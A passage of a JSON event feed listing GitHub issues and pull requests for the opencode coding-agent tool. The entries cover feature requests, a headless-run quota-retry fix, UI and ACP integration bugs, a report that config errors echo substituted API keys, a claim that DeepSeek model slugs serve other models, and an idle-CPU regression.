          "text": "Reflections and Suggestions on AI Programming Tools Over the past year and a half, I have extensively used various AI‑powered programming assistants and gained considerable hands‑on experience. Based on this, I would like to offer the following three suggestions for your consideration: Integrate open‑source high‑performance search tools as a priority I recommend incorporating mature open‑source solutions such as the CLI version of everything (on Windows) or rg (ripgrep). These tools significantly outperform conventional grep in large codebases, drastically reducing context‑retrieval latency and improving overall responsiveness. Develop dedicated file‑editing tools instead of relying on a generic editor While the current built‑in editor works for basic tasks, it frequently encounters issues like garbled text, freezes, or editing failures when handling non‑UTF‑8 encodings, extremely large files, or complex document formats. I suggest building a purpose‑built editing component tailored for AI‑driven scenarios, ensuring robust handling of various edge cases. Build language‑specific syntax‑parsing and summarisation toolchains For different programming languages, a structured set of analytical tools should be designed. Taking Java projects as an example, from a high‑level perspective, the constituent elements (packages, classes, methods, fields) are finite. It is entirely feasible to emulate the capabilities of IDEs like IntelliJ IDEA, enabling rapid generation of: Complete lists of classes and methods along with their signatures; A holistic “map” and bird’s‑eye view of the entire project; Dependency trees; ASCII diagrams of module partitioning and logical architecture. Going further, can we provide: Code vectorisation tools that support semantic‑similarity search via vector embeddings; A knowledge graph that decomposes code into function‑call relationships, where each node carries metadata such as class fields, method names, and method comments? The refinement of such fundamental tools would substantially reduce token consumption, accelerate inference, and significantly enhance the AI’s global understanding of the project and the quality of its generated outputs.",
          "url": "https://github.com/anomalyco/opencode/issues/42285",
          "createdAt": "2026-08-13T09:03:35Z",
          "updatedAt": "2026-08-13T11:17:12Z",
          "timestamp": "2026-08-13T11:17:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "xiyuan27-rgb",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d6481fcf7913ee231281",
        "signalId": "github:anomalyco/opencode:pull_request:42289",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42289",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): stop `run` from sleeping through an exhausted quota",
          "text": "Fixes #40747 — `opencode run` produces no output and never returns when a model's quota is exhausted. It isn't wedged, it's sleeping. The quota error is classified as retryable, and `delay()` honors the provider's `retry-after`, which for a monthly limit is days. While the schedule sleeps, `halt()` never runs, so no `session.error` and no `idle` are published, and `loop()` in `cli/cmd/run.ts` breaks only on `idle` and has no branch for `retry` status. The TUI is unaffected because it shows the retry in its footer; a headless run has nowhere to show it. I left the retry timing alone — honoring long `retry-after` values was deliberate in 0a2d7af17, and waiting out a short rate limit is useful. The change is only in the non-interactive loop: - print the retry status, which today prints nothing at all in headless runs - exit non-zero when `action.reason` is `free_tier_limit` / `account_rate_limit`; transient retries (429/5xx) carry no `action.reason` and still wait and retry as before - abort the session before returning, because breaking out of the loop isn't enough to end the process — the sleeping schedule holds the in-process server open, and without the abort it still has to be killed ## How I verified it New test in `test/cli/run/run-process.test.ts`: the test provider returns a 429 carrying `GoUsageLimitError` with `retry-after: 345600`, and the run must exit non-zero and mention the limit on stderr. On unmodified `dev` it hangs until the harness kills it at 30 s; with this change it passes in ~2 s. Setting that header needed an optional `headers` argument on `httpError()` / `llm.error()` in the test harness — `retry-after` drives the delay and there was no way to set it before. `bun test test/session/retry.test.ts test/cli/run/` → 250 pass, 5 skip, 0 fail. `tsc --noEmit` matches the `dev` baseline.",
          "url": "https://github.com/anomalyco/opencode/pull/42289",
          "createdAt": "2026-08-13T09:08:15Z",
          "updatedAt": "2026-08-13T11:17:10Z",
          "timestamp": "2026-08-13T11:17:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DaisukeYoda",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4cf39c1504d1486d7cd8",
        "signalId": "github:anomalyco/opencode:issue:8600",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:8600",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Feature: opencode CLI uses fixed input + scrollable output pane, breaks Neovim-style scrolling",
          "text": "### Description Opencode has a scroll-able output area that scrolls within, but this style is a bit annoying if you are using this inside Neovim where scrolling up in normal mode does nothing whereas claude-code would show the entire history. ### Plugins _No response_ ### OpenCode version 1.1.6 ### Steps to reproduce _No response_ ### Screenshot and/or share link In this popup window, if I scroll up using `<c-d>` cursor moves to the top of the window and stops there, it wouldn't show the previous logs from opencode because output is not plain and scollable within the output box. <img width=\"3438\" height=\"1440\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c1ae75e7-dd5c-4c5c-b5bb-07ae6e24a8fe\" /> ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/8600",
          "createdAt": "2026-01-15T04:41:11Z",
          "updatedAt": "2026-08-13T11:15:27Z",
          "timestamp": "2026-08-13T11:15:27Z",
          "metrics": {
            "reactions": 8,
            "comments": 4
          },
          "labels": [
            "bug",
            "opentui"
          ],
          "author": "s1n7ax",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a83ac0d0d8466105b1fc",
        "signalId": "github:anomalyco/opencode:pull_request:41729",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41729",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): label windows by active tab",
          "text": "### Issue for this PR Closes #40490 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Updates desktop window titles from the active tab so macOS Window menu entries are distinguishable. The title uses `<tab name> — <directory name>`, falls back to `OpenCode` when no tab is active, and stays within 56 Unicode code points by truncating both parts when needed. ### How did you verify your code works? - Added unit coverage for formatting, fallback, Unicode, and boundary cases - Ran the full monorepo typecheck - Built the production Electron app - Manually verified the macOS Window menu while switching tabs ### Screenshots / recordings The original behavior and design discussion are shown in #40490. The final behavior was verified in the native macOS Window menu. Before: <img width=\"299\" height=\"393\" alt=\"Screenshot 2026-08-11 at 20 42 41\" src=\"https://github.com/user-attachments/assets/23f1762d-713c-43cd-8856-1e35b7d86de3\" /> After: <img width=\"543\" height=\"390\" alt=\"Screenshot 2026-08-11 at 20 41 17\" src=\"https://github.com/user-attachments/assets/9aa0999d-becd-432c-9109-5a7bd8a97b49\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41729",
          "createdAt": "2026-08-11T11:46:58Z",
          "updatedAt": "2026-08-13T11:14:50Z",
          "timestamp": "2026-08-13T11:14:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "maxipesfix",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6c28eb319ddaa4fd9976",
        "signalId": "github:anomalyco/opencode:issue:42308",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42308",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Config parse errors echo the substituted text, not the file as written",
          "text": "### Description Hit this while fixing a typo in my opencode.json. I had a syntax error (forgot the value after \"model\":) and the config uses {env:DEMO_KEY} for the API key. The error under \"--- JSONC Input ---\" printed my config back with the actual key value where {env:DEMO_KEY} was. I'd expect it to quote the file the way I wrote it. tui.json goes through the same path, and that one ends up in ~/.local/share/opencode/log/opencode.log. ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce 1. Put this in opencode.json: { \"$schema\": \"https://opencode.ai/config.json\", \"provider\": { \"anthropic\": { \"options\": { \"apiKey\": \"{env:DEMO_KEY}\" } } }, \"model\": } 2. DEMO_KEY=sk-live-DO-NOT-PRINT opencode run \"hi\" 3. Look at the block under \"--- JSONC Input ---\" - the apiKey line shows sk-live-DO-NOT-PRINT instead of {env:DEMO_KEY}, and the reported line number doesn't match the file. ### Screenshot and/or share link <img width=\"1730\" height=\"1916\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f236fdbd-1f2f-4ac3-b92d-3c7dacbb64b3\" /> ### Operating System macOS 26.0.1 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42308",
          "createdAt": "2026-08-13T11:10:22Z",
          "updatedAt": "2026-08-13T11:11:16Z",
          "timestamp": "2026-08-13T11:11:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "codeAnqiang-ma",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c7485e7320cbfa203ac9",
        "signalId": "github:anomalyco/opencode:issue:31960",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31960",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "ACP: Zed: Doesn't broadcast how big the context is, and how full it currently is.",
          "text": "### Description OpenCode's ACP support, tested through Zed, after installing OpenCode as an external agent, doesn't broadcast how big the context is, and how full it currently is, whereas other agents do. I'm not an expert in ACP, but I think this is what it should send: https://agentclientprotocol.com/rfds/session-usage#session-context-size-and-cost example: Zed's Claude Sonnet: <img width=\"297\" height=\"154\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/16864ba1-d8df-4242-9761-2584ce333aa4\" /> Vs with OpenCode: <img width=\"422\" height=\"114\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a8c24990-9cdf-4dff-8f8f-ec84e0be70d8\" /> ### Plugins N/A ### OpenCode version 1.17.3 ### Steps to reproduce Install the external agent in Zed. See screenshots from description. ### Screenshot and/or share link In Description. ### Operating System Fedora Linux 44 KDE Plasma Version: 6.6.5 KDE Frameworks Version: 6.26.0 Qt Version: 6.11.1 Kernel Version: 7.0.9-205.fc44.x86_64 (64-bit) ### Terminal Zed editor's ACP integration. but otherwise I use Konsole.",
          "url": "https://github.com/anomalyco/opencode/issues/31960",
          "createdAt": "2026-06-11T21:32:09Z",
          "updatedAt": "2026-08-13T11:05:01Z",
          "timestamp": "2026-08-13T11:05:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "KraXen72",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:61670e501c1fa893c492",
        "signalId": "github:anomalyco/opencode:issue:31961",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31961",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "ACP: Zed: Deepseek V4 Flash Free doesn't consistently broadcast reasoning effort",
          "text": "### Description Deepseek V4 Flash Free doesn't consistently broadcast reasoning effort: When I open zed, External agents, Opencode, I have it set to Deepseek V4 Flash Free. However, initially, I don't see the reasoning level select. I have to select a different model and then select Deepseek back to see it. Before: <img width=\"781\" height=\"181\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/25045f9c-9622-497d-b854-f19f9f8d60ea\" /> After: <img width=\"783\" height=\"165\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/85025464-b9a2-49dc-858f-055090d85203\" /> ### Plugins N/A ### OpenCode version 1.17.3 ### Steps to reproduce Install the external agent in Zed. See screenshots from description. ### Screenshot and/or share link In Description. ### Operating System Fedora Linux 44 KDE Plasma Version: 6.6.5 KDE Frameworks Version: 6.26.0 Qt Version: 6.11.1 Kernel Version: 7.0.9-205.fc44.x86_64 (64-bit) ### Terminal Zed editor's ACP integration. but otherwise I use Konsole.",
          "url": "https://github.com/anomalyco/opencode/issues/31961",
          "createdAt": "2026-06-11T21:32:12Z",
          "updatedAt": "2026-08-13T11:04:38Z",
          "timestamp": "2026-08-13T11:04:38Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "KraXen72",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:57d8e869fb1a7bed0b44",
        "signalId": "github:anomalyco/opencode:issue:39845",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39845",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "DeepSeek V4 Flash on suddenly requires \"Enable models hosted in China\" for OpenCode Go subscription",
          "text": "### Description Mid-session suddenly OpenCode stopped working and claims that `The latest version of this model is only available hosted in China and requires explicit opt in: https://opencode.ai/workspace/wrk_01KT2AY9J4V90A83HFP3M9CEYW/go` ### Plugins none ### OpenCode version 1.15.13 ### Steps to reproduce 1. Be signed into OpenCode Go 2. Have \"Enable models hosted in China\" disabled 3. Try to use OpenCode Flash V4 ### Screenshot and/or share link <img width=\"1994\" height=\"1079\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ddde6490-2a98-4c1b-9fc2-19cd3f4d17be\" /> ### Operating System Ubuntu 22.04 ### Terminal xfce4-terminal",
          "url": "https://github.com/anomalyco/opencode/issues/39845",
          "createdAt": "2026-07-31T09:18:23Z",
          "updatedAt": "2026-08-13T11:03:16Z",
          "timestamp": "2026-08-13T11:03:16Z",
          "metrics": {
            "reactions": 31,
            "comments": 22
          },
          "labels": [],
          "author": "capi",
          "state": "open",
          "assignees": [
            "StarpTech"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3aad571b4fcc019a7369",
        "signalId": "github:anomalyco/opencode:issue:36415",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:36415",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: crash on /vcs/diff 404 on both git repo and non git repo directories",
          "text": "### Description UPDATE: There might actually just not be a backend running because sending a prompt hung and didn't even give a spinner. The opencode TUI crashed with an unexpected error. **Error:** opencode server GET http://127.0.0.1:4096/vcs/diff?mode=git&context=12&directory=%2Fhome%2Fjohn%2F.config%2Fwaybar → 404 Not Found: (empty response body) **Stack trace:** ``` Error: opencode server GET http://127.0.0.1:4096/vcs/diff?mode=git&context=12&directory=%2Fhome%2Fjohn%2F.config%2Fwaybar → 404 Not Found: (empty response body) at <anonymous> (/$bunfs/root/chunk-m3rwe299.js:8:7615) at async <anonymous> (/$bunfs/root/chunk-9dnb5zkg.js:248:46625) at processTicksAndRejections (native:7:39) ``` ### OpenCode version 0.0.0-next-202606270058 ### Steps to reproduce Reported automatically from the opencode crash screen. If you can, describe what you were doing when it crashed. Just opened the command palette and ran \"Open diff viewer.\" Happens on both git repos and directories without a git repo. ### Operating System Linux 7.0.12-arch1-1 (x64) ### Terminal xterm-kitty",
          "url": "https://github.com/anomalyco/opencode/issues/36415",
          "createdAt": "2026-07-11T13:20:55Z",
          "updatedAt": "2026-08-13T10:40:17Z",
          "timestamp": "2026-08-13T10:40:17Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [
            "2.0"
          ],
          "author": "threehymns",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e657a20bf63e9baac4f0",
        "signalId": "github:anomalyco/opencode:issue:42228",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42228",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "deepseek-v4-pro and deepseek-v4-flash slugs serve non-DeepSeek models (identity probe evidence)",
          "text": "## Summary Identity probes against OpenCode Go's DeepSeek slugs show the endpoint is serving a **rotating pool of non-DeepSeek models**, not DeepSeek V4. ## Evidence (2026-08-12, endpoint https://opencode.ai/zen/go/v1/chat/completions, browser UA required — Cloudflare 1010 blocks urllib default UA) **deepseek-v4-pro** (max_tokens=300, identity question): - Response: \"I am ChatGPT, powered by OpenAI's GPT-4o model, built by OpenAI, and my knowledge cutoff date is June 2024.\" - Earlier probe (same day): reasoning content opened with \"The system says 'You are Gemini, a large language model built by Google'\" - Two requests → two different identities ⇒ rotating pool. **deepseek-v4-flash** (same probe): - Reasoning content: \"I'm ChatGPT, built by OpenAI...\" The response `model` field echoes the request slug, so it is not evidence of the serving model. ## Impact - The Go subscription tier advertises DeepSeek V4 Pro but serves GPT-4o/Gemini-class models — a material quality/labeling mismatch for users routing coding work by model name. - OpenCode's data page lists \"DeepSeek V4 Pro 0813\" (released 2026-08-12) with zero usage — the bare slug has not been updated to the GA build. - Related prior report: #40409 (deepseek-v4-flash serving a V3.2-era checkpoint; closed as not planned). ## Questions 1. What model does the bare `deepseek-v4-pro` slug actually serve on Go? 2. Will Go serve the 0813 GA build, and can we get a dated slug (e.g. `deepseek-v4-pro-0813`) for pinning? 3. Is there a plan to correct the catalog so the slug name reflects the served model?",
          "url": "https://github.com/anomalyco/opencode/issues/42228",
          "createdAt": "2026-08-13T02:43:44Z",
          "updatedAt": "2026-08-13T10:35:55Z",
          "timestamp": "2026-08-13T10:35:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "dmdyne99",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:88cb352d3c9c5914b6c8",
        "signalId": "github:anomalyco/opencode:pull_request:42303",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42303",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): surface clear error when output token limit truncates tool calls",
          "text": "### Issue for this PR Closes #42224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When the output token limit (`OUTPUT_TOKEN_MAX = 32_000`) is reached mid-generation of a tool call, the model stops before emitting the closing JSON syntax. The AI SDK reports this as \"Unterminated string in JSON at position N\", which is opaque to the user — they don't know the cause is the token limit or how to fix it. This detects that specific parse error in `experimental_repairToolCall` and replaces it with an actionable message that names the limit$ output token limit and the `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX` override. Additionally, the processor now logs a warning when `finish_reason` is `\"length\"` so the trunc\" the diagnostics even when the tool call itself doesn't fail. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/processor-effect.test.ts` — 15 pass, 0 fail - `cd packages/opencode && bun test test/session/llm.test.ts` — 28 pass, 0 fail - `cd packages/opencode && bun typecheck` — clean - Changed-file Prettier and `git diff --check` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42303",
          "createdAt": "2026-08-13T10:27:16Z",
          "updatedAt": "2026-08-13T10:28:43Z",
          "timestamp": "2026-08-13T10:28:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:9b847b4a8aa28f5c4734",
        "signalId": "github:anomalyco/opencode:pull_request:38790",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38790",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): add workspace flows to new layout",
          "text": "## What's New ### 🚀 Workspace Selection for New Sessions - **Start sessions where you want**: Choose between **Local repository**, spin up an isolated **New workspace**, or select from **Existing workspaces**. - **Context-aware composer pill**: The location selector shows branch context, respects project defaults (*Last used*, *Local*, or *New*), and includes a search box when there are 10+ workspaces. - **Onboarding tooltip & indicator**: A first-use hover tooltip explains workspace isolation, paired with a blue dot indicator on the trigger that automatically dismisses after your first workspace session. - **Direct settings access**: A \"View all\" action in the selector opens the workspaces inventory directly. ### 🔄 Moving Active Sessions - **Switch context on the fly**: Move an in-progress session between local checkouts and workspaces (or back to your local repository) from the session header or details panel. - **Queued prompt submission**: Submitting a prompt while creating a workspace queues the message and runs it immediately once the workspace becomes ready. - **Timeline lifecycle rows**: Clean status rows (*Creating workspace*, *Workspace created*, *Moving to workspace*, *Workspace set*) indicate setup progress right in the timeline. ### 📋 Session Details & Summary - **Session details card**: Displays workspace identity, current branch, base branch (*Based on {{branch}}*), and quick access to review file changes. - **Tucked quick-access callout**: A clean footer card with a dismissable callout (✕ on hover) and direct links to workspace settings. ### ⚙️ Workspaces Settings Page - **Full workspace inventory**: View all workspaces across projects with folder paths, creation and last-active timestamps, and linked sessions. - **Project filtering**: Quickly filter workspace lists by project. - **Safe single & bulk deletion**: Delete unused workspaces individually or in bulk, with safeguards preventing accidental deletion of the active workspace. ### 🎨 UI & Layout Polish - **Figma design alignment**: Refined timeline widths, row content insets, branch badge pill styling, and menu spacing. - **New icons**: Added `branch-out` icon for workspace branching visuals. - **Legacy file tree disabled in new layout**: Automatically turns off legacy file tree settings and commands when using the new layout. --- ### 🧪 Tests & Quality - **E2E regression suite**: 11 end-to-end tests covering new session creation, workspace search, settings management, deletion guards, session moves, and prompt submission queuing. - **Unit test suite**: Comprehensive unit tests covering workspace operations, prompt submission state machine, server sync/session handling, and timeline projections. - **Typecheck**: Passes all 30 package typechecks.",
          "url": "https://github.com/anomalyco/opencode/pull/38790",
          "createdAt": "2026-07-25T02:23:30Z",
          "updatedAt": "2026-08-13T10:25:52Z",
          "timestamp": "2026-08-13T10:25:52Z",
          "metrics": {
            "reactions": 2,
            "comments": 5
          },
          "labels": [
            "beta"
          ],
          "author": "Hona",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:abf52b5817dce8caf5b3",
        "signalId": "github:anomalyco/opencode:issue:42269",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42269",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Comment Box UX Bug: Comment Popup appears upon hitting a line meanwhile should appear if the user Hits plus '+' icon button for adding Comment",
          "text": "https://github.com/user-attachments/assets/0b1eda3c-2b5e-4fe7-939c-81be212c5fbe UX is for adding a comment on a line(s), which is good but was better before the recent update because with this update, once I hit a line—even just once—it makes a comment pop up. Meanwhile, if the user needs to make a comment, they should hit the '+' icon on the left side. This behavior makes it annoying and harder to do highlights because even before the user could go on highlighting multiple lines, the popup has already come up. The first video shows how the user uses the '+' icon to add a comment; the one that follows shows the UX bug I explained in the above paragraph. The Comment popup comes up by just hitting one single line; meanwhile, it should appear if the user hits a plus (+) icon on the left. https://github.com/user-attachments/assets/02e6860f-b74f-40cf-b487-f0951d5abc11 HOPE THIS HELPs, THANKS, OPENCODE!!",
          "url": "https://github.com/anomalyco/opencode/issues/42269",
          "createdAt": "2026-08-13T07:49:30Z",
          "updatedAt": "2026-08-13T10:24:10Z",
          "timestamp": "2026-08-13T10:24:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "Significant-Hacks",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:7a8ca434e0669c5a255c",
        "signalId": "github:anomalyco/opencode:issue:42273",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42273",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
          "text": "new vision（1.18.18.0）：Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
          "url": "https://github.com/anomalyco/opencode/issues/42273",
          "createdAt": "2026-08-13T08:06:44Z",
          "updatedAt": "2026-08-13T10:24:07Z",
          "timestamp": "2026-08-13T10:24:07Z",
          "metrics": {
            "reactions": 3,
            "comments": 2
          },
          "labels": [],
          "author": "e4glet",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1f672a0a56b805dd7837",
        "signalId": "github:anomalyco/opencode:issue:42299",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42299",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "serve: idle service burns 20-45% CPU in silent bursts from launch; memory creeps",
          "text": "## Summary A freshly launched, completely idle `serve` service (and its TUI client) burns 20–45% CPU in silent periodic bursts from launch onward, with no log output during the bursts and continuous SQLite WAL writes. RSS creeps upward (~2% of RAM in 6 minutes). Reproduces on every launch; not caused by autoupdate, sessions, activity, or terminal. ## Environment - opencode version: 0.0.0-next-17403 (also reproduced on 17364) - OS: macOS 26.5.2 (Darwin 25.5.0, arm64) - Terminal: ghostty 1.3.1 (TERM=xterm-ghostty); also reproduced inside `screen` (TERM=screen) - Shell: /bin/zsh - Install/channel: npm, `next` channel (nightly, autoupdate was enabled) - Active plugins: `local.notify` at `~/.config/opencode/plugins/notify.ts` (event-driven osascript notifications; inert when idle — not ruled out by bisect) ## Reproduction 1. Launch opencode2 (TUI) on a clean config — or fully detached: `screen -dmS opencode2 opencode2` 2. Leave it completely idle (no session open, no input) 3. Watch CPU for 5+ minutes: `ps -o pid,%cpu,%mem,etime,time -p <tui-pid> <service-pid>` Observed on a fresh detached pair (screen TUI + `serve --service`, no session ever opened, autoupdate disabled): | time since launch | service %CPU | idle TUI %CPU | |---|---|---| | 0:20 | 23.2 | 21.3 | | 0:50 | 0.8 | 14.1 | | 1:20 | 41.9 | 16.8 | | 2:00 | 43.5 | 23.7 | | 2:30 | 43.0 | 15.8 | | 3:30 | 0.3 | 0.3 | | ~4:30 | 37.1 | 14.1 | | 7:35 | 47.9 | 16.1 | The bursts are cyclic (roughly 2 minutes on, 1–2 minutes off) and persist indefinitely — the original pair ran 1h47m without settling. ## Expected Behavior An idle opencode service should idle: ~0% CPU, no sustained WAL growth, stable RSS. ## Actual Behavior - Service + TUI burn 20–45% CPU in silent bursts from launch, indefinitely - During bursts: nothing is logged (log tail frozen), but `opencode.db-wal` is written continuously (mtime tracks the burst) - Service RSS grows steadily during bursts (~3.9% → 6.1% of RAM in 6 minutes) - `sample` during a burst shows the service main thread in the event-loop dispatch with only ~78% of samples in `kevent64` (i.e. ~22% non-idle), and Bun Pool threads non-idle — no hard spin, but constant wake-up/do-work churn. JSC threads show `cond_wait` leaves (not a spin) - On 17364 one instance degraded into a hard spin (98.8% CPU, ignored SIGTERM, required SIGKILL) ## Additional Context - `\"autoupdate\": false` does NOT fix the bursts (measured on the fresh pair above) - With autoupdate enabled (the default on `next`), the service additionally runs an update check every ~10 min and a `catalog.updated` reload across all open project directories every ~5 min, each request taking 4–6 s server-side (http.span=4000000+). 626 update checks were logged over ~2 weeks of log. Found nightlies trigger `npm install` into the config dir, which cascades into 100–180 event bursts (config/agent/command/catalog.updated). This keeps service+TUI at 30–50% CPU permanently - Reproduced across two services (17364 and 17403) and two TUIs, including one with zero sessions - Full probe timeline: `/tmp/opencode_cpu_probe.log`; service stack during burst: `/tmp/sample25141.txt`; earlier TUI sample: `/tmp/sample2.txt` (available on request)",
          "url": "https://github.com/anomalyco/opencode/issues/42299",
          "createdAt": "2026-08-13T10:12:22Z",
          "updatedAt": "2026-08-13T10:21:20Z",
          "timestamp": "2026-08-13T10:21:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "kahlos",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:46c306d9b0720ad2ab46",
        "signalId": "github:anomalyco/opencode:pull_request:37298",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:37298",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): persist selected console organization",
          "text": "## Summary - consume the organization selected during Console device approval - persist the returned `org_id` instead of choosing the alphabetically first organization - fail login if the selected organization is no longer available Depends on anomalyco/opencode-console#953. Fixes #37161. ## Tests - `bun typecheck` (`packages/core`) - `bun test test/plugin/provider-opencode.test.ts`",
          "url": "https://github.com/anomalyco/opencode/pull/37298",
          "createdAt": "2026-07-16T13:47:49Z",
          "updatedAt": "2026-08-13T10:20:29Z",
          "timestamp": "2026-08-13T10:20:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "vimtor"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0bdf755ed322abed0aed",
        "signalId": "github:anomalyco/opencode:issue:37229",
        "event": "changed",
